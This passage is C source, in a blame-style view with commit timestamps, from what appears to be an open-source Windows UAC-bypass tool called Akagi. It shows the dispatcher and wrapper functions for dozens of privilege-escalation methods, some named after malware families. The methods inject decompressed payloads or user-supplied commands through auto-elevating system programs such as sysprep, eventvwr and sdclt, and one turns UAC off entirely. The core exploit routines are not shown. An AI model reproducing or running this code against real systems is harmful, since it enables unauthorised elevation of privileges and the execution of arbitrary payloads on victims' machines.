Entry = &ucmMethodsDispatchTable[Method];
|
|
|
|
|
2019-03-19 08:47:16 +00:00
|
|
|
Status = IsMethodMatchRequirements(Entry);
|
|
|
|
if (!NT_SUCCESS(Status))
|
|
|
|
return Status;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
if (Entry->PayloadResourceId != PAYLOAD_ID_NONE) {
|
|
|
|
|
|
|
|
Resource = supLdrQueryResourceData(
|
|
|
|
Entry->PayloadResourceId,
|
|
|
|
ImageBaseAddress,
|
|
|
|
&DataSize);
|
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
if (Resource) {
|
|
|
|
PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);
|
|
|
|
}
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-12-17 03:58:48 +00:00
|
|
|
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_DATA_ERROR;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
ExtraContext = Entry->ExtraContext;
|
|
|
|
if (ExtraContext) {
|
|
|
|
SetupExtraContextCalbacks(Method, ExtraContext);
|
|
|
|
if (ExtraContext->Routine)
|
|
|
|
ExtraContext->Routine(ExtraContext->Parameter);
|
|
|
|
}
|
|
|
|
|
|
|
|
ParamsBlock.Method = Method;
|
|
|
|
ParamsBlock.PayloadCode = PayloadCode;
|
|
|
|
ParamsBlock.PayloadSize = PayloadSize;
|
2018-08-05 05:26:27 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
//
|
|
|
|
// Set shared parameters.
|
|
|
|
//
|
|
|
|
// 1. Execution parameters (flag, session id, winstation\desktop)
|
|
|
|
// 2. Optional parameter from Akagi command line.
|
|
|
|
//
|
|
|
|
if (Entry->SetParameters) {
|
2018-12-12 07:44:47 +00:00
|
|
|
bParametersBlockSet = supCreateSharedParametersBlock(g_ctx);
|
2018-11-13 09:58:29 +00:00
|
|
|
}
|
|
|
|
|
2019-03-19 08:47:16 +00:00
|
|
|
MethodResult = Entry->Routine(&ParamsBlock);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
if (PayloadCode) {
|
|
|
|
RtlSecureZeroMemory(PayloadCode, PayloadSize);
|
2018-09-02 07:28:59 +00:00
|
|
|
supVirtualFree(PayloadCode, NULL);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
2018-11-13 09:58:29 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Wait a little bit for completion.
|
|
|
|
//
|
|
|
|
if (Entry->SetParameters) {
|
2019-03-16 07:22:48 +00:00
|
|
|
if (bParametersBlockSet) {
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->SharedContext.hCompletionEvent) {
|
2018-11-13 09:58:29 +00:00
|
|
|
liDueTime.QuadPart = -(LONGLONG)UInt32x32To64(200000, 10000);
|
2018-12-12 07:44:47 +00:00
|
|
|
NtWaitForSingleObject(g_ctx->SharedContext.hCompletionEvent, FALSE, &liDueTime);
|
2018-11-13 09:58:29 +00:00
|
|
|
}
|
2018-12-12 07:44:47 +00:00
|
|
|
supDestroySharedParametersBlock(g_ctx);
|
2018-11-13 09:58:29 +00:00
|
|
|
}
|
|
|
|
}
|
2019-03-11 07:09:55 +00:00
|
|
|
|
|
|
|
PostCleanupAttempt(Method);
|
|
|
|
|
2019-03-19 08:47:16 +00:00
|
|
|
return MethodResult;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/************************************************************
|
|
|
|
**
|
|
|
|
**
|
|
|
|
**
|
|
|
|
** Method table wrappers
|
|
|
|
**
|
|
|
|
**
|
|
|
|
**
|
|
|
|
************************************************************/
|
|
|
|
|
|
|
|
UCM_API(MethodTest)
|
|
|
|
{
|
|
|
|
#ifdef _DEBUG
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmTestRoutine(Parameter->PayloadCode, Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
#else
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
return TRUE;
|
|
|
|
#endif
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodSysprep)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmStandardAutoElevation(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->Method,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
2017-12-17 03:58:48 +00:00
|
|
|
UCM_API(MethodACRedirectEXE)
|
2017-03-25 12:39:31 +00:00
|
|
|
{
|
2017-12-17 03:58:48 +00:00
|
|
|
LPWSTR lpszPayload;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-12-17 03:58:48 +00:00
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength != 0)
|
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-12-17 03:58:48 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-12-17 03:58:48 +00:00
|
|
|
|
|
|
|
return ucmShimRedirectEXE(lpszPayload);
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodACBinaryPath)
|
|
|
|
{
|
|
|
|
#ifdef _WIN64
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-12-17 03:58:48 +00:00
|
|
|
#else
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmShimPatch(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-12-17 03:58:48 +00:00
|
|
|
#endif
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodSimda)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Make sure user understand aftereffects.
|
|
|
|
//
|
2019-10-27 06:34:59 +00:00
|
|
|
if (ucmShowQuestion(T_SIMDA_CONSENT_WARNING) == IDYES) {
|
2017-03-25 12:39:31 +00:00
|
|
|
return ucmSimdaTurnOffUac();
|
|
|
|
}
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_CANCELLED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodCarberp)
|
|
|
|
{
|
|
|
|
//
|
|
|
|
// Additional checking for UacMethodCarberp1.
|
|
|
|
// Target application 'migwiz' unavailable in Syswow64 after Windows 7.
|
|
|
|
//
|
2018-09-02 07:28:59 +00:00
|
|
|
if (Parameter->Method == UacMethodCarberp1) {
|
2018-12-12 07:44:47 +00:00
|
|
|
if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
|
|
|
|
ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_UNKNOWN_REVISION;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmWusaMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->Method,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodAVrf)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmAvrfMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodWinsat)
|
|
|
|
{
|
|
|
|
BOOL UseWusa = FALSE;
|
|
|
|
LPWSTR lpFileName;
|
|
|
|
|
|
|
|
//
|
|
|
|
// Additional checking.
|
|
|
|
// Switch used filename because of \KnownDlls changes.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->dwBuildNumber < 9200) {
|
2017-03-25 12:39:31 +00:00
|
|
|
lpFileName = POWRPROF_DLL;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
lpFileName = DEVOBJ_DLL;
|
|
|
|
}
|
|
|
|
|
|
|
|
//
|
|
|
|
// Use Wusa where available.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
UseWusa = (g_ctx->dwBuildNumber <= 10136);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmWinSATMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
lpFileName,
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize,
|
2018-09-02 07:28:59 +00:00
|
|
|
UseWusa);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodMMC)
|
|
|
|
{
|
|
|
|
//
|
|
|
|
// Required dll dependency not exist in x86-32
|
|
|
|
//
|
|
|
|
#ifdef _WIN64
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmMMCMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->Method,
|
|
|
|
ELSEXT_DLL,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
#else
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
#endif
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodMMC2)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmMMCMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->Method,
|
|
|
|
WBEMCOMN_DLL,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodSirefef)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmSirefefMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodGeneric)
|
|
|
|
{
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
|
|
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
2018-12-12 07:44:47 +00:00
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
2017-03-25 12:39:31 +00:00
|
|
|
_strcat(szBuffer, CLICONFG_EXE);
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmGenericAutoelevation(
|
2019-03-16 07:22:48 +00:00
|
|
|
szBuffer,
|
|
|
|
NTWDBLIB_DLL,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodGWX)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmGWX(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodSysprep4)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmStandardAutoElevation2(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodManifest)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmAutoElevateManifest(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodInetMg)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
#ifdef _WIN64
|
|
|
|
return ucmInetMgrMethod(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
#else
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2018-09-02 07:28:59 +00:00
|
|
|
#endif
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
2017-06-30 05:59:47 +00:00
|
|
|
UCM_API(MethodSXS)
|
2017-03-25 12:39:31 +00:00
|
|
|
{
|
|
|
|
BOOL bConsentItself = FALSE;
|
|
|
|
LPWSTR lpTargetDirectory = NULL;
|
|
|
|
LPWSTR lpTargetApplication = NULL;
|
|
|
|
LPWSTR lpLaunchApplication = NULL;
|
|
|
|
|
|
|
|
//
|
|
|
|
// Select parameters depending on method used.
|
|
|
|
//
|
2018-09-02 07:28:59 +00:00
|
|
|
if (Parameter->Method == UacMethodSXS) {
|
2017-03-25 12:39:31 +00:00
|
|
|
bConsentItself = FALSE;
|
|
|
|
lpTargetDirectory = SYSPREP_DIR;
|
|
|
|
lpTargetApplication = SYSPREP_EXE;
|
|
|
|
lpLaunchApplication = NULL;
|
|
|
|
}
|
|
|
|
else {
|
2018-09-02 07:28:59 +00:00
|
|
|
if (Parameter->Method == UacMethodSXSConsent) {
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Make sure user understand aftereffects.
|
|
|
|
//
|
2018-09-02 07:28:59 +00:00
|
|
|
#ifndef _DEBUG
|
2019-10-27 06:34:59 +00:00
|
|
|
if (ucmShowQuestion(T_SXS_CONSENT_WARNING) != IDYES) {
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_CANCELLED;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
2018-09-02 07:28:59 +00:00
|
|
|
#endif //_DEBUG
|
2017-03-25 12:39:31 +00:00
|
|
|
bConsentItself = TRUE;
|
|
|
|
lpTargetDirectory = NULL;
|
|
|
|
lpTargetApplication = CONSENT_EXE;
|
|
|
|
lpLaunchApplication = EVENTVWR_EXE;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if (lpTargetApplication == NULL) {
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_INVALID_PARAMETER;
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
return ucmSXSMethod(
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize,
|
2017-03-25 12:39:31 +00:00
|
|
|
lpTargetDirectory,
|
|
|
|
lpTargetApplication,
|
|
|
|
lpLaunchApplication,
|
|
|
|
bConsentItself);
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodDism)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmDismMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodComet)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select payload, if none default will be executed.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength != 0)
|
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
return ucmCometMethod(lpszPayload);
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodEnigma0x3)
|
|
|
|
{
|
|
|
|
LPWSTR lpszTargetApp = NULL;
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->dwBuildNumber >= 15007)
|
2017-03-25 12:39:31 +00:00
|
|
|
lpszTargetApp = COMPMGMTLAUNCHER_EXE;
|
|
|
|
else
|
|
|
|
lpszTargetApp = EVENTVWR_EXE;
|
|
|
|
|
|
|
|
//
|
|
|
|
// Select payload, if none default will be executed.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength != 0)
|
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
else
|
|
|
|
lpszPayload = NULL;
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
return ucmHijackShellCommandMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
lpszPayload,
|
|
|
|
lpszTargetApp,
|
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodEnigma0x3_2)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmDiskCleanupRaceCondition(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodExpLife)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
LPWSTR lpszParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszParameter = g_ctx->szDefaultPayload;
|
2017-03-25 12:39:31 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszParameter = g_ctx->szOptionalParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmUninstallLauncherMethod(lpszParameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodSandworm)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmSandwormMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodEnigma0x3_3)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-03-25 12:39:31 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmAppPathMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
lpszPayload,
|
|
|
|
CONTROL_EXE,
|
2018-09-02 07:28:59 +00:00
|
|
|
SDCLT_EXE);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodWow64Logger)
|
|
|
|
{
|
|
|
|
//
|
|
|
|
// Required x64 as this method abuse wow64 logger mechanism
|
|
|
|
//
|
|
|
|
#ifdef _WIN64
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmWow64LoggerMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-03-25 12:39:31 +00:00
|
|
|
#else
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2017-03-25 12:39:31 +00:00
|
|
|
#endif
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodEnigma0x3_4)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-03-25 12:39:31 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
|
|
|
return ucmSdcltIsolatedCommandMethod(lpszPayload);
|
|
|
|
}
|
2017-05-09 03:39:44 +00:00
|
|
|
|
|
|
|
UCM_API(MethodUiAccess)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmUiAccessMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-05-09 03:39:44 +00:00
|
|
|
}
|
2017-05-26 09:23:18 +00:00
|
|
|
|
|
|
|
UCM_API(MethodMsSettings)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-05-26 09:23:18 +00:00
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-05-26 09:23:18 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-05-26 09:23:18 +00:00
|
|
|
|
|
|
|
return ucmMsSettingsDelegateExecuteMethod(lpszPayload);
|
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodTyranid)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-05-26 09:23:18 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-05-26 09:23:18 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-05-26 09:23:18 +00:00
|
|
|
|
|
|
|
return ucmDiskCleanupEnvironmentVariable(lpszPayload);
|
|
|
|
}
|
2017-05-27 11:01:47 +00:00
|
|
|
|
|
|
|
UCM_API(MethodTokenMod)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
2018-03-04 07:26:18 +00:00
|
|
|
BOOL fUseCommandLine;
|
2017-05-27 11:01:47 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-05-27 11:01:47 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0) {
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2018-03-04 07:26:18 +00:00
|
|
|
fUseCommandLine = FALSE;
|
|
|
|
}
|
|
|
|
else {
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2018-03-04 07:26:18 +00:00
|
|
|
fUseCommandLine = TRUE;
|
|
|
|
}
|
2017-05-27 11:01:47 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmTokenModification(
|
2019-03-16 07:22:48 +00:00
|
|
|
lpszPayload,
|
2018-09-02 07:28:59 +00:00
|
|
|
fUseCommandLine);
|
2017-05-27 11:01:47 +00:00
|
|
|
}
|
2017-06-22 07:17:35 +00:00
|
|
|
|
|
|
|
UCM_API(MethodJunction)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmJunctionMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-06-22 07:17:35 +00:00
|
|
|
}
|
2017-06-30 05:59:47 +00:00
|
|
|
|
|
|
|
UCM_API(MethodSXSDccw)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmSXSDccwMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-06-30 05:59:47 +00:00
|
|
|
}
|
2017-07-13 13:12:55 +00:00
|
|
|
|
|
|
|
UCM_API(MethodHakril)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmHakrilMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-07-13 13:12:55 +00:00
|
|
|
}
|
2017-07-21 10:31:38 +00:00
|
|
|
|
|
|
|
UCM_API(MethodCorProfiler)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmCorProfilerMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-07-21 10:31:38 +00:00
|
|
|
}
|
2017-07-30 07:01:34 +00:00
|
|
|
|
|
|
|
UCM_API(MethodCOMHandlers)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmCOMHandlersMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-07-30 07:01:34 +00:00
|
|
|
}
|
2017-08-16 04:57:52 +00:00
|
|
|
|
|
|
|
UCM_API(MethodCMLuaUtil)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
LPWSTR lpszParameter;
|
2017-08-16 04:57:52 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-08-16 04:57:52 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszParameter = g_ctx->szDefaultPayload;
|
2017-08-16 04:57:52 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszParameter = g_ctx->szOptionalParameter;
|
2017-08-16 04:57:52 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmCMLuaUtilShellExecMethod(lpszParameter);
|
2017-08-16 04:57:52 +00:00
|
|
|
}
|
2017-11-08 05:42:05 +00:00
|
|
|
|
2017-11-10 06:31:20 +00:00
|
|
|
UCM_API(MethodFwCplLua)
|
2017-11-08 05:42:05 +00:00
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2018-07-14 17:15:02 +00:00
|
|
|
|
